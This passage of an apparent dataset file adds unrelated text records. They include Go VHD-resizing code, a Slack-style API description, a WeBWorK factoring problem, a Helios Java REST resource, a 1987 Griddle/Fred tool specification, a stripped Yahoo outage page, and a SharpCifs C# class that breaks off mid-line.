&os.PathError{Op: \"OpenVirtualDisk\", Path: vhdPath, Err: err}\n\t}\n\tdefer syscall.Close(vhd)\n\n\t// Open the volume.\n\tvolumePath, err := GetLayerMountPath(ctx, path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif volumePath[len(volumePath)-1] == '\\\\' {\n\t\tvolumePath = volumePath[:len(volumePath)-1]\n\t}\n\tvolume, err := os.OpenFile(volumePath, os.O_RDWR, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer volume.Close()\n\n\t// Get the volume's underlying partition size in NTFS clusters.\n\tvar (\n\t\tpartitionSize int64\n\t\tbytes         uint32\n\t)\n\tconst _IOCTL_DISK_GET_LENGTH_INFO = 0x0007405C\n\terr = syscall.DeviceIoControl(syscall.Handle(volume.Fd()), _IOCTL_DISK_GET_LENGTH_INFO, nil, 0, (*byte)(unsafe.Pointer(&partitionSize)), 8, &bytes, nil)\n\tif err != nil {\n\t\treturn &os.PathError{Op: \"IOCTL_DISK_GET_LENGTH_INFO\", Path: volume.Name(), Err: err}\n\t}\n\tconst (\n\t\tclusterSize = 4096\n\t\tsectorSize  = 512\n\t)\n\ttargetClusters := partitionSize / clusterSize\n\n\t// Get the volume's current size in NTFS clusters.\n\tvar volumeSize int64\n\terr = getDiskFreeSpaceEx(volume.Name()+\"\\\\\", nil, &volumeSize, nil)\n\tif err != nil {\n\t\treturn &os.PathError{Op: \"GetDiskFreeSpaceEx\", Path: volume.Name(), Err: err}\n\t}\n\tvolumeClusters := volumeSize / clusterSize\n\n\t// Only resize the volume if there is space to grow, otherwise this will\n\t// fail with invalid parameter. NTFS reserves one cluster.\n\tif volumeClusters+1 < targetClusters {\n\t\ttargetSectors := targetClusters * (clusterSize / sectorSize)\n\t\tconst _FSCTL_EXTEND_VOLUME = 0x000900F0\n\t\terr = syscall.DeviceIoControl(syscall.Handle(volume.Fd()), _FSCTL_EXTEND_VOLUME, (*byte)(unsafe.Pointer(&targetSectors)), 8, nil, 0, &bytes, nil)\n\t\tif err != nil {\n\t\t\treturn &os.PathError{Op: \"FSCTL_EXTEND_VOLUME\", Path: volume.Name(), Err: err}\n\t\t}\n\t}\n\treturn nil\n}\n"}
+{"text": "{\n\t\"desc\": \"Renames a channel.\",\n\n\t\"args\": {\n\t\t\"channel\": {\n\t\t\t\"type\"\t\t: \"channel\",\n\t\t\t\"required\"\t: true,\n\t\t\t\"desc\"\t\t: \"Channel to rename\"\n\t\t},\n\n\t\t\"name\": {\n\t\t\t\"required\"\t: true,\n\t\t\t\"desc\"\t\t: \"New name for channel.\"\n\t\t}\n\t},\n\n\t\"errors\": {\n\n\t\t\"channel_not_found\"\t: \"Value passed for `channel` was invalid.\",\n\t\t\"not_in_channel\"\t: \"Caller is not a member of the channel.\",\n\t\t\"not_authorized\"\t: \"Caller cannot rename this channel\",\n\t\t\"invalid_name\"\t\t: \"New name is invalid\",\n\t\t\"name_taken\"\t\t: \"New channel name is taken\"\n\t}\n}\n"}
+{"text": "##DESCRIPTION\n##  Factoring Trinomials\n## \n##ENDDESCRIPTION\n## DBsubject(Algebra)\n## DBchapter(Factoring)\n## DBsection(Factoring: special forms)\n## Institution(The College of Idaho)\n## Author(RA Cruz)\n## MLT(perfectSq)\n## Level(2)\n## MO(1)\n## TitleText1('Essentials of Intermediate Algebra')\n## AuthorText1('Blitzer')\n## EditionText1('1')\n## Section1('5.6')\n## Problem1('')\n## KEYWORDS('factoring')\n## Date: 2007/11 --Updated 2013/09 -rac\n\nDOCUMENT(); # This should be the first executable line in the problem.\n\nloadMacros(\n  \"PGstandard.pl\",\n  \"MathObjects.pl\",\n  \"CofIdaho_macros.pl\",\n  \"PGcourse.pl\"\n);\n\nTEXT(beginproblem());\n\n######################################\n#  Setup\n\n$a= random(2,6,1);\n$b = random(-1,1,2);\n\n$polynomial = Formula(\"$a^2 x^2 - (2 $a) x + $b\")->reduce->TeX;\n\n######################################\n#  Main text\n\nBEGIN_TEXT\nFactor completely: \n$PAR\n\\( $polynomial = \\)  \\{ ans_rule(30) \\} \nEND_TEXT\n\n######################################\n#  Answer\n\n$showPartialCorrectAnswers = 1;\n\n$answer = \"($a x - 1)^2\";\nANS(FactoringEvaluator($answer,[\"x\"])); \n\n#Context(\"PolynomialFactors-Strict\");\n#Context()->flags->set(singleFactors=>1);\n#Context()->strings->add('Does not factor'=>{});\n#\n#if ($b>0)\n#   {\n#   LimitedPowers::OnlyIntegers(\n#      minPower => 0, maxPower => 1\n#   );\n   $factoredform = Compute(\"($a x - 1)^2\");\n#   ANS($factoredform->cmp); \n#   }\n#else\n#   {\n#   LimitedPowers::OnlyIntegers(\n#      minPower => 0, maxPower => 2\n#   );\n#   $factoredform  = Compute(\"$a^2 x^2 - 2*$a x + $b\");\n#   ANS( $factoredform->cmp( checker=>sub {\n#      my ( $correct, $student, $ansHash ) = @_;\n#      if ($b<=0) {$student==$correct || $student == \"Does not factor\";}\n#      return $correct == $student;\n#   } ) );\n#   ANS(FactoringEvaluator(\"Does not factor\",$answer,\"x\")); \n#   }\n\n######################################\n#  Solution\n\n$tex = $factoredform->TeX;\n$solution = \"$polynomial = $tex\";\nif ($b<=0) {$solution = \"\\mbox{The polynomial does not factor.}\";}\n\nSOLUTION(EV3(<<'END_SOLUTION'));\n$PAR SOLUTION $PAR\n\n\\($solution\\)\n\nEND_SOLUTION\n\n;\nENDDOCUMENT();\n"}
+{"text": "/*-\n * -\\-\\-\n * Helios Services\n * --\n * Copyright (C) 2016 Spotify AB\n * --\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * -/-/-\n */\n\npackage com.spotify.helios.master.resources;\n\nimport static com.spotify.helios.common.protocol.CreateJobResponse.Status.INVALID_JOB_DEFINITION;\nimport static com.spotify.helios.common.protocol.CreateJobResponse.Status.JOB_ALREADY_EXISTS;\nimport static com.spotify.helios.master.http.Responses.badRequest;\nimport static com.spotify.helios.master.http.Responses.forbidden;\nimport static com.spotify.helios.master.http.Responses.notFound;\nimport static javax.ws.rs.core.MediaType.APPLICATION_JSON;\n\nimport com.codahale.metrics.annotation.ExceptionMetered;\nimport com.codahale.metrics.annotation.Timed;\nimport com.google.common.annotations.VisibleForTesting;\nimport com.google.common.base.Optional;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.Maps;\nimport com.spotify.helios.common.Clock;\nimport com.spotify.helios.common.JobValidator;\nimport com.spotify.helios.common.SystemClock;\nimport com.spotify.helios.common.descriptors.Job;\nimport com.spotify.helios.common.descriptors.JobId;\nimport com.spotify.helios.common.descriptors.JobStatus;\nimport com.spotify.helios.common.protocol.CreateJobResponse;\nimport com.spotify.helios.common.protocol.JobDeleteResponse;\nimport com.spotify.helios.master.JobDoesNotExistException;\nimport com.spotify.helios.master.JobExistsException;\nimport com.spotify.helios.master.JobStillDeployedException;\nimport com.spotify.helios.master.MasterModel;\nimport com.spotify.helios.master.TokenVerificationException;\nimport com.spotify.helios.servicescommon.statistics.MasterMetrics;\nimport com.sun.jersey.api.core.InjectParam;\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.function.Function;\nimport java.util.stream.Collectors;\nimport javax.validation.Valid;\nimport javax.ws.rs.DELETE;\nimport javax.ws.rs.DefaultValue;\nimport javax.ws.rs.GET;\nimport javax.ws.rs.POST;\nimport javax.ws.rs.Path;\nimport javax.ws.rs.PathParam;\nimport javax.ws.rs.Produces;\nimport javax.ws.rs.QueryParam;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n@Path(\"/jobs\")\npublic class JobsResource {\n\n  private static final Logger log = LoggerFactory.getLogger(JobsResource.class);\n\n\n  private final MasterModel model;\n  private final MasterMetrics metrics;\n  private final JobValidator jobValidator;\n  private final Clock clock;\n\n  public JobsResource(final MasterModel model, final MasterMetrics metrics,\n                      final Set whitelistedCapabilities) {\n    this(model, metrics, whitelistedCapabilities, new SystemClock());\n  }\n\n  @VisibleForTesting\n  JobsResource(final MasterModel model, final MasterMetrics metrics,\n               final Set whitelistedCapabilities, final Clock clock) {\n    this.model = model;\n    this.metrics = metrics;\n    this.clock = clock;\n    this.jobValidator = new JobValidator(true, true, whitelistedCapabilities);\n  }\n\n  /**\n   * Returns a {@link Map} of job id to job definition for all jobs known.  If the query\n   * parameter {@code q} is specified it will only return jobs whose job id contains the string.\n   *\n   * @param query The query string.\n   *\n   * @return A map of Job IDs to Jobs.\n   */\n  @GET\n  @Produces(APPLICATION_JSON)\n  @Timed\n  @ExceptionMetered\n  public Map list(\n      @QueryParam(\"q\") @DefaultValue(\"\") final String query,\n      @QueryParam(\"hostPattern\") @DefaultValue(\"\") final String hostPattern) {\n\n    final Map allJobs;\n    if (!hostPattern.isEmpty()) {\n      // for each host that matches this pattern...\n      allJobs = model.listHosts(hostPattern).stream()\n          // get the host status\n          .map(model::getHostStatus)\n          // then flat map over the jobs deployed to this host\n          .flatMap(hostStatus -> hostStatus.getJobs().keySet().stream())\n          .distinct()\n          .collect(Collectors.toMap(Function.identity(), model::getJob));\n    } else {\n      allJobs = model.getJobs();\n    }\n\n    // Return all jobs if the query string is empty\n    if (query.isEmpty()) {\n      metrics.jobsInJobList(allJobs.size());\n      return allJobs;\n    }\n\n    // Filter jobs by jobname query\n    final Map filteredJobs = Maps.newHashMap();\n    for (final Map.Entry entry : allJobs.entrySet()) {\n      if (entry.getKey().toString().contains(query)) {\n        filteredJobs.put(entry.getKey(), entry.getValue());\n      }\n    }\n\n    metrics.jobsInJobList(filteredJobs.size());\n    return filteredJobs;\n  }\n\n\n  /**\n   * Returns the {@link Job} with the given id.\n   *\n   * @param id The job ID.\n   *\n   * @return The job.\n   */\n  @Path(\"{id}\")\n  @GET\n  @Produces(APPLICATION_JSON)\n  @Timed\n  @ExceptionMetered\n  public Optional get(@InjectParam @PathParam(\"id\") @Valid final JobId id) {\n    if (!id.isFullyQualified()) {\n      throw badRequest(\"Invalid id\");\n    }\n    return Optional.fromNullable(model.getJob(id));\n  }\n\n  /**\n   * Create a job given the definition in {@code job}.\n   *\n   * @param job      The job to create.\n   * @param username The user creating the job.\n   *\n   * @return The response.\n   */\n  @POST\n  @Produces(APPLICATION_JSON)\n  @Timed\n  @ExceptionMetered\n  public CreateJobResponse post(@Valid final Job job,\n                                @RequestUser final String username) {\n    final Job.Builder clone = job.toBuilder()\n        .setCreatingUser(username)\n        .setCreated(clock.now().getMillis())\n        // If the job had a hash coming in, preserve it\n        .setHash(job.getId().getHash());\n    final Job actualJob = clone.build();\n    final Collection errors = jobValidator.validate(actualJob);\n    final String jobIdString = actualJob.getId().toString();\n    if (!errors.isEmpty()) {\n      throw badRequest(new CreateJobResponse(INVALID_JOB_DEFINITION, ImmutableList.copyOf(errors),\n          jobIdString));\n    }\n    try {\n      model.addJob(actualJob);\n    } catch (JobExistsException e) {\n      throw badRequest(new CreateJobResponse(JOB_ALREADY_EXISTS, ImmutableList.of(),\n          jobIdString));\n    }\n    log.info(\"created job: {}\", actualJob);\n    return new CreateJobResponse(CreateJobResponse.Status.OK, ImmutableList.of(),\n        jobIdString);\n  }\n\n  /**\n   * Deletes the job specified by the given id.\n   *\n   * @param id    The id of the job to delete.\n   * @param token The optional authorization token.\n   *\n   * @return The response.\n   */\n  @Path(\"{id}\")\n  @DELETE\n  @Produces(APPLICATION_JSON)\n  @Timed\n  @ExceptionMetered\n  public JobDeleteResponse delete(@PathParam(\"id\") @Valid final JobId id,\n                                  @QueryParam(\"token\") @DefaultValue(\"\") final String token) {\n    if (!id.isFullyQualified()) {\n      throw badRequest(\"Invalid id\");\n    }\n    try {\n      model.removeJob(id, token);\n      return new JobDeleteResponse(JobDeleteResponse.Status.OK);\n    } catch (JobDoesNotExistException e) {\n      throw notFound(new JobDeleteResponse(JobDeleteResponse.Status.JOB_NOT_FOUND));\n    } catch (JobStillDeployedException e) {\n      throw badRequest(new JobDeleteResponse(JobDeleteResponse.Status.STILL_IN_USE));\n    } catch (TokenVerificationException e) {\n      throw forbidden(new JobDeleteResponse(JobDeleteResponse.Status.FORBIDDEN));\n    }\n  }\n\n  /**\n   * Returns the job status for the given job id.  The job status includes things like where it's\n   * deployed, and the status of the jobs where it's deployed, etc.\n   *\n   * @param id The job ID.\n   *\n   * @return The job status.\n   */\n  @Path(\"{id}/status\")\n  @GET\n  @Produces(APPLICATION_JSON)\n  @Timed\n  @ExceptionMetered\n  public Optional statusGet(@PathParam(\"id\") @Valid final JobId id) {\n    if (!id.isFullyQualified()) {\n      throw badRequest(\"Invalid id\");\n    }\n    return Optional.fromNullable(model.getJobStatus(id));\n  }\n\n  @Path(\"/statuses\")\n  @POST\n  @Produces(APPLICATION_JSON)\n  @Timed\n  @ExceptionMetered\n  public Map jobStatuses(@Valid final Set ids) {\n    for (final JobId id : ids) {\n      if (!id.isFullyQualified()) {\n        throw badRequest(\"Invalid id \" + id);\n      }\n    }\n    final Map results = Maps.newHashMap();\n    for (final JobId id : ids) {\n      final JobStatus status = model.getJobStatus(id);\n      if (status != null) {\n        results.put(id, status);\n      }\n    }\n    return results;\n  }\n}\n"}
+{"text": "Griddle: Ghu's Region Internal Database Description LanguagE\n\nJuly 23, 1987\n\nThis is the definition of the formats for Griddle.  There are two formats.\nOne is nominally the input format, which we call \"griddle\" format.  The other\nis a compressed output format, which we are calling \"raw\" format.  These are\nconsiderably simplified from the older \"riddle\" and \"genesis\" formats.  The\nnew formats should greatly simplify tools programming, as well as reducing the\nbandwidth required to transmit region definitions around.\n\n\"GRIDDLE\" FORMAT:\n\nA Griddle file consists of one or more Griddle statements.  There are five\ntypes of statements: include, assignment, macro-assignment, object-use and\nobject-definition.\n\nThe include statement has the form:\n\n\tinclude \"\"\n\nwhere  is the name of a file to include, expressed as a string\nconstant.  It does what you expect.\n\nThe assignment statement has the form:\n\n\t = \n\nwhile the macro-assignment statement has the form:\n\n\t @= \n\nThe two are similar in that they both assign a value to an identifier, .\nHowever, the nature of the value is different:  The ordinary assignment\nstatement computes the value of  and makes that computed value the\nvalue of .  Further references to  result in this value.  The\nmacro-assignment statement, on the other hand, merely assigns the expression\n itself to be the value of name, and each time  is\nreferenced,  is recomputed and the resulting value used.  In other\nwords, macro-assignment defers the computation of  and always\nresults in the value that  would have if it were substituted\ndirectly for .  If the values of any of the terms in  change\nbetween references to , then the corresponding value that results from a\nreference to  will also change.\n\nThe object-use statement describes an instance of an object which is to be\ncreated and placed in the database.  Its form is:\n\n\tuse  [  ] [ =  ] {\n\t\t\n\t}\n\nThe interpretation of this is: create an object of class .  If\nexpression  is present, use its value as the new object's global\nidentifier, otherwise generate an identifier internally.  If  (an\nidentifier) is present, set its value to be the new object's identifier\nnumber.\n\n consists of zero or more statements of the form:\n\n\t: \n\nwhere  is a symbol that is the name of one of the fields of class\n, and  is one or more expressions, separated by commas,\ngiving values for the named field of the new object.\n\nThe object-definition statement has the form:\n\n\tdefine  \"\"\n\t\t\n\tenddefine\n\nThis says to define class number  to have name  and\nthe designated fields.   consists of zero or more statements of the\nform:\n\n\t [ (  ) ] : \n\nwhere  is a symbol that is to be the name of the field.\n, if given, is a number greater than 0 that is the array dimension\nof an array field (if omitted, it defaults to 1 -- i.e., not an array).\n is the data type of the field.  The following types are recognized:\n\n\tbin15\t\ttwo-byte integers\n\tinteger\t\tsynonym for bin15\n\tbin31\t\tfour-byte integers\n\tlong\t\tsynonym for bin31\n\tbyte\t\tone-byte integers\n\tcharacter\tcharacters stored in single bytes\n\twords\t\tcharacters stored in two-byte words\n\tvarstring\tpl1-style variable length string stored as a two-byte\n\t\t\tlength followed by the string itself; dimension\n\t\t\tindicates maximum possible length of string\n\tbit\t\tsingle bits\n\tavaid\t\t(four-byte) avatar global ids\n\tobjid\t\t(four-byte) object global ids\n\tregid\t\t(four-byte) region global ids\n\tentity\t\tentity specifiers: 2-byte type followed by 4-byte\n\t\t\tglobal id; type values 0, 1 and 2 correspond to\n\t\t\tregions, avatars and objects respectively\n\tfatword\t\ta two-byte integer stored as pairs of two-byte words,\n\t\t\tthe first containing the low-order byte and the second\n\t\t\tthe high-order byte\n\nExpressions can take the following forms:\n\n\t\t\t\t\t\tthe value of identifier \n\t\t\t\t\ta numeric constant\n\t\t\t\t\ta string constant\n\t\t\t\t\ta bitstring constant\n\t(  )\t\t\tthe value of the expression\n\t~ \t\t\t\tbitwise complement\n\t- \t\t\t\tarithmetic negation\n\ta \t\t\t\tcreate avatar id\n\to \t\t\t\tcreate object id\n\tr \t\t\t\tcreate region id\n\t + \t\taddition\n\t - \t\tsubtraction\n\t * \t\tmultiplication\n\t / \t\tinteger division\n\t % \t\tinteger modulus\n\t & \t\tbitwise AND\n\t | \t\tbitwise OR\n\t ^ \t\tbitwise XOR\n\nA  can be any string of alphabetic characters, digits, and '_', that\ndoes not start with a digit.\n\nA  can be any of the standard number formats we use: a decimal number\n(any sequence of decimal digits that does not start with 0), an octal number\n(any sequence of octal digits preceded by '0'), a hex number (any sequence of\nhexadecimal digits preceded by '0x' or '0X'), a binary number (any sequence of\n0 and 1 preceded by '0b' or '0B'), a quarter (any sequence of base-4 digits\npreceded by '0q' or '0Q') or an ascii character enclosed in single quotes\n(with the usual \\ escape sequences).\n\nA  is any sequence of characters enclosed in double quotes, with the\nusual \\ escape sequences.\n\nA  is a PL/1 style bit string: a series of 1's and 0's enclosed in\napostrophes and followed by 'b'.  For example:\n\n\t'100101010011'b\n\nAlso, of course, whitespace may be freely used for formatting, and comments,\nbracketed by \"/*\" and \"*/\", may be inserted at almost any point.\n\n\n\"RAW\" FORMAT:\n\nA \"raw\" file consists of 1 or more lines.  Each line has the same format, a\ndecimal class number, followed by a space, followed by a hex string (an even\nnumber of hexadecimal digits, each of which represents a byte of data).  A\nnumber of physical lines may be combined into a single logical line by ending\nall but the last with a backslash (\"\\\") character as a continuation marker.\n\nEach line specifies the data to fill the fields of a database descriptor of an\nobject, region or avatar.  Which of these (and what class, if an object) can\nbe determined by examining the class number.  The hex string is an ASCII\nrepresentation of the binary form of an in-core database record of the given\ntype.\n\nCertain fields in the hex data will be global database identifiers.  These\nshould be interpreted by the program reading the data relative to the class\ndefinitions (as laid out by Ghu 'define' statements).  A positive value P in\none of these fields indicates that the value P should be used for the\nidentifier.  A negative value N, however, is interpreted.  If N is in the\nrange -1 to -1000 (inclusive), just use the value N itself.  However, if N is\nless than -1000, use the identifier assigned to the thing defined by the\n-(N+1000)th line of the file (e.g., -1001 is the first item in the file, -1002\nis the second, and so on).\n\nTHE GRIDDLE AND FRED PROGRAMS:\n\nGriddle and Fred are the two incarnations of a program that reads and writes\nregion descriptions in the above formats.  Griddle is primarily a translation\ntool while Fred is an interactive editor.  Griddle reads some files and then\nwrites some files, as directed by the command line options.  Fred allows you\nto interactively edit one region at a time using a Commodore 64 and Fastlink.\n\nThese are the command line options:\n\nfilename \tRead the object descriptions (in either of the above formats)\n\t\tcontained in the given file (Griddle only).  You can specify\n\t\tmultiple input files.  They will be read in the order\n\t\tspecified.\n\n-R\t\tAssign relative ids to the regions generated, even if the are\n\t\tspecified with absolute ids in the input.\n\n-c filename\tRead a contents vector file (Griddle only).  Contents vector\n\t\tfiles are an obsolete representation, but we still have old\n\t\tdata that we may want to get at.\n\n-v filename\tWrite a contents vector file (Griddle only).  The input should\n\t\tcontain exactly one region plus contained objects.\n\n-g filename\tOutput a griddle format file (Griddle only) containing all the\n\t\tobjects in the various inputs.\n\n-r filename\tOutput a raw format file (Griddle only) containing all the\n\t\tobjects in the various inputs.\n\n-i filename\tRun Griddle in indirect mode.  In indirect mode, Griddle reads\n\t\t\"indirect lines\" from the specified file, each of which\n\t\tspecifies a file to read together with connectivity and\n\t\tparameter information.  These indirect control files are the\n\t\toutput of Plex.\n\n-m number\tSet the maximum number of objects that this run of Griddle can\n\t\tdeal with.  The default value is 256, which is fine for Fred,\n\t\tbut large realms need to have more room allocated.\n\n-t\t\tRun Fred in \"test mode\".  In test mode, Fred doesn't use the\n\t\tFastlink port and none of the visual editing aids that use the\n\t\tC64 are available.\n\nAny and all of the output file options may be used at the same time.  I.e.,\nyou can generate both 'raw' and 'griddle' format output with one command.\n\nIn addition to the command options, the programs also read a few environment\nvariables.\n\nGHUDEFINES is the name of a file containing a series of 'define' statements.\nThis file is read in first before any other processing takes place to define\nall the basic object classes.  By default it is \"/u0/habitat/defines.ghu\".\n\nCLASSINFO is the name of a \"class.dat\" file produced by Muddle.  It is used to\nobtain information about class representation in the C64.  By default it is\n\"/u0/habitat/class.dat\".\n\nFREDPATH is the name of a default path for Fred to use when reading and\nwriting files.  By default it is \"./\", i.e., the current working directory.\nFred also looks for a file named \".fredpaths\" in the user's home directory for\na list of other paths to choose from.\n\nFASTPORT is the conventional variable that holds information about what\nFastlink port to connect to the C64 with.\n\nMORE ABOUT FRED:\n\nFred is an interactive utility that works with a C64 over Fastlink.  It loads\nAric's Reno program into the C64 from the file \"/u0/habitat/reno.out\" and then\nprovides a screen and keystroke oriented front-end.\n\nThese are the key commands that Fred understands:\n\nb\tMoves the current object into the background (i.e., clears the\n\t\thigh-bit of the object's Y-coordinate).\nB\tTells the C64 to suppress display of the background objects, thus\n\t\thighlighting the foreground objects.  The display remains thus\n\t\tuntil refreshed by the RETURN command or some other operation.\n^B\tToggles the border display bit on the currently selected object (which\n\t\tshould be a trapezoid).\nc\tCreates a new object.  You are prompted for the class.  You can enter\n\t\ta number or a standard class name, or take the default (which\n\t\tis displayed) by hitting RETURN.\nC\tTells the C64 to display the contents of the currently selected object\n\t\t(which ought to be a container of some sort).  This display\n\t\tremains until the screen is refreshed.\nd\tDisplays the state information about a particular object.  The\n\t\tinformation is shown on the terminal screen.  You are prompted\n\t\tfor the noid.  This object becomes the active object.\nD\tDrops the current object into the container under the cursor.  The\n\t\tobject under the cursor really should be a container of some\n\t\tsort.\n^D\tDisplays the current working path list on the terminal screen.  The\n\t\tcurrent path is highlighted.\ne\tAllows you to edit the current object's state information.  The\n\t\tinformation is displayed on the terminal screen with the first\n\t\tfield highlighted.  RETURN advances to the next field,\n\t\tBACKSPACE takes you back to the previous field.  Simply by\n\t\tTyping in a new value change the field.  Hitting the DEL key\n\t\tor advancing past the last field exits edit mode.  If you have\n\t\tmade any changes the revised object will be sent to the C64\n\t\tfor display.\nE\tAllows you to edit the corners of the trapezoid that is the current\n\t\tobject (it should be one).  In trapezoid edit mode, pressing\n\t\t'L', 'l', 'R' or 'r' places the joystick in control of the\n\t\tupper left, lower left, upper right or lower right corners,\n\t\trespectively, of the trapezoid.  Moving the joystick moves the\n\t\tcorner around.  Pressing 'x' exits trapezoid edit mode.\nf\tMoves the current object into the foreground (i.e., sets the high-bit\n\t\tof the object's Y-coordinate).\nF\tCycles the current object's flat type among GROUND, WALL, SKY and\n\t\tIMPASSABLE.  The object should, of course, be a flat or a\n\t\ttrapezoid.\ng\tSaves the current region in a file in Griddle format.  You will be\n\t\tprompted for the file name.\nG\tTells the C64 to render objects with patterns that emphasize their\n\t\tflat types.  Display remains this way until refreshed.\nh\tGives help info -- a one-screen summary of these commands.\nH\tNudges the current object's container offset to the left a notch.\n\t\tOnly affects the C64.\ni\tLoads Reno into the C64.\nI\tChanges how the current object will be held by an Avatar.  Only\n\t\taffects the C64.\nJ\tNudges the current object's container offset up a notch. Only affects\n\t\tthe C64.\nK\tNudges the current object's container offset down a notch. Only\n\t\taffects the C64.\nL\tNudges the current object's container offset to the right a notch.\n\t\tOnly affects the C64.\nn\tTell the C64 to render the region in night mode.  Display remains this\n\t\tway until refreshed.\no\tDisplays on the terminal screen a list of the noids and classes of all\n\t\tthe objects in the region.\nO\tFlips the orientation of the current object (i.e., toggles the low-bit\n\t\tof the orientation byte).\np\tIncrements the current object's color or pattern.\nP\tDecrements the current object's color or pattern.\n^P\tAllows you to edit the current working path list.  The paths are\n\t\tdisplayed on the terminal screen with the current path\n\t\thighlighted.  RETURN advances the current path to the next one\n\t\ton the list.  BACKSPACE backs up to the previous one.  You can\n\t\tchange a path simply by typing in a new value.  Hitting the\n\t\tDEL key exits the edit mode, and whatever path was selected at\n\t\tthe time becomes the working path.\nq\tQuits Fred.\nr\tReads a region from a file and displays it on the C64.  You will be\n\t\tprompted for the file name.  The file can be in either raw or\n\t\tgriddle format.\ns\tSets the current object's graphic state to 0.\nS\tIncrements the current object's graphic state.\nt\tTouches the object under the cursor, i.e., makes it the current\n\t\tobject.  The object's state information is displayed on the\n\t\tterminal screen.\nT\tTwins the current object, i.e., creates a new object that is an exact\n\t\tduplicate of the current object.\nu\tUndeletes the last object that was deleted, if any.\nw\tCauses the Avatar in the region, if there is one, to walk to the\n\t\tcurrent object location.\nx\tDeletes the current object.\nz\tSaves the current region in a file in raw format.  You will be\n\t\tprompted for the file name.\n+\tIncrements the current object noid.\n-\tDecrements the current object noid.\n!\tAllows you to execute a Unix command.  You will prompted for the\n\t\tcommand string.\n.\tIncrements the current object's X-coordinate (actually increments it\n\t\tby 4, since object positions must be byte aligned anyhow).\n,\tDecrements the current object's X-coordinate (actually decrements it\n\t\tby 4, since object positions must be byte aligned anyhow).\n?\tIncrements the current object's Y-coordinate.\n/\tDecrements the current object's Y-coordinate.\n>\tIncrements the current object's Y-coordinate by 10.\n<\tDecrements the current object's Y-coordinate by 10.\nRETURN\tRefreshes both the terminal screen and the C64 display.\n^Z\tPauses Fred\n\n"}
+{"text": "\n\n\n    \n    Yahoo\n    \n    \n    \n\n\n\n\n\n\n\n\n\n\n    \n\n
    \n    
    \n         \n        
    Will be right back...
    \n        
    Thank you for your patience.
    \n        
    Our engineers are working quickly to resolve the issue.
    \n    
    \n    
     \n        \"AT&T\n        
    Volvemos enseguida…
    \n        
    Gracias por tu paciencia.
    \n        
    Nuestros ingenieros están trabajando rápidamente para resolver el problema.
    \n    
    \n    \n    
    \n\n\n\n"}
+{"text": "// This code is derived from jcifs smb client library \n// Ported by J. Arturo \n//  \n// This library is free software; you can redistribute it and/or\n// modify it under the terms of the GNU Lesser General Public\n// License as published by the Free Software Foundation; either\n// version 2.1 of the License, or (at your option) any later version.\n// \n// This library is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n// Lesser General Public License for more details.\n// \n// You should have received a copy of the GNU Lesser General Public\n// License along with this library; if not, write to the Free Software\n// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nusing SharpCifs.Util.Sharpen;\n\nnamespace SharpCifs.Smb\n{\n\tinternal class Trans2FindFirst2Response : SmbComTransactionResponse\n\t{\n\t\tinternal const int SmbInfoStandard = 1;\n\n\t\tinternal const int SmbInfoQueryEaSize = 2;\n\n\t\tinternal const int SmbInfoQueryEasFromList = 3;\n\n\t\tinternal const int SmbFindFileDirectoryInfo = unchecked(0x101);\n\n\t\tinternal const int SmbFindFileFullDirectoryInfo = unchecked(0x102);\n\n\t\tinternal const int SmbFileNamesInfo = unchecked(0x103);\n\n\t\tinternal const int SmbFileBothDirectoryInfo = unchecked(0x104);\n\n\t\tinternal class SmbFindFileBothDirectoryInfo : IFileEntry\n\t\t{\n\t\t\tinternal int NextEntryOffset;\n\n\t\t\tinternal int FileIndex;\n\n\t\t\tinternal long CreationTime;\n\n\t\t\tinternal long LastAccessTime;\n\n\t\t\tinternal long LastWriteTime;\n\n\t\t\tinternal long ChangeTime;\n\n\t\t\tinternal long EndOfFile;\n\n\t\t\tinternal long AllocationSize;\n\n\t\t\tinternal int ExtFileAttributes;\n\n\t\t\tinternal int FileNameLength;\n\n\t\t\tinternal int EaSize;\n\n\t\t\tinternal int ShortNameLength;\n\n\t\t\tinternal string ShortName;\n\n\t\t\tinternal string Filename;\n\n\t\t\t// information levels\n\t\t\tpublic virtual string GetName()\n\t\t\t{\n\t\t\t\treturn Filename;\n\t\t\t}\n\n\t\t\tpublic virtual int GetType()\n\t\t\t{\n\t\t\t\treturn SmbFile.TypeFilesystem;\n\t\t\t}\n\n\t\t\tpublic virtual int GetAttributes()\n\t\t\t{\n\t\t\t\treturn ExtFileAttributes;\n\t\t\t}\n\n\t\t\tpublic virtual long CreateTime()\n\t\t\t{\n\t\t\t\treturn CreationTime;\n\t\t\t}\n\n\t\t\tpublic virtual long LastModified()\n\t\t\t{\n\t\t\t\treturn LastWriteTime;\n\t\t\t}\n\n\t\t\tpublic virtual long Length()\n\t\t\t{\n\t\t\t\treturn EndOfFile;\n\t\t\t}\n\n\t\t\tpublic override string ToString()\n\t\t\t{\n\t\t\t\treturn \"SmbFindFileBothDirectoryInfo[\" + \"nextEntryOffset=\" + NextEntryOffset\n\t\t\t\t\t + \",fileIndex=\" + FileIndex + \",creationTime=\" + Extensions.CreateDate\n\t\t\t\t\t(CreationTime) + \",lastAccessTime=\" + Extensions.CreateDate(LastAccessTime\n\t\t\t\t\t) + \",lastWriteTime=\" + Extensions.CreateDate(LastWriteTime) + \",changeTime=\"\n\t\t\t\t\t + Extensions.CreateDate(ChangeTime) + \",endOfFile=\" + EndOfFile\n\t\t\t\t\t + \",allocationSize=\" + AllocationSize + \",extFileAttributes=\" + ExtFileAttributes\n\t\t\t\t\t + \",fileNameLength=\" + FileNameLength + \",eaSize=\" + EaSize + \",shortNameLength=\"\n\t\t\t\t\t + ShortNameLength + \",shortName=\" + ShortName + \",filename=\" + Filename\n\t\t\t\t\t + 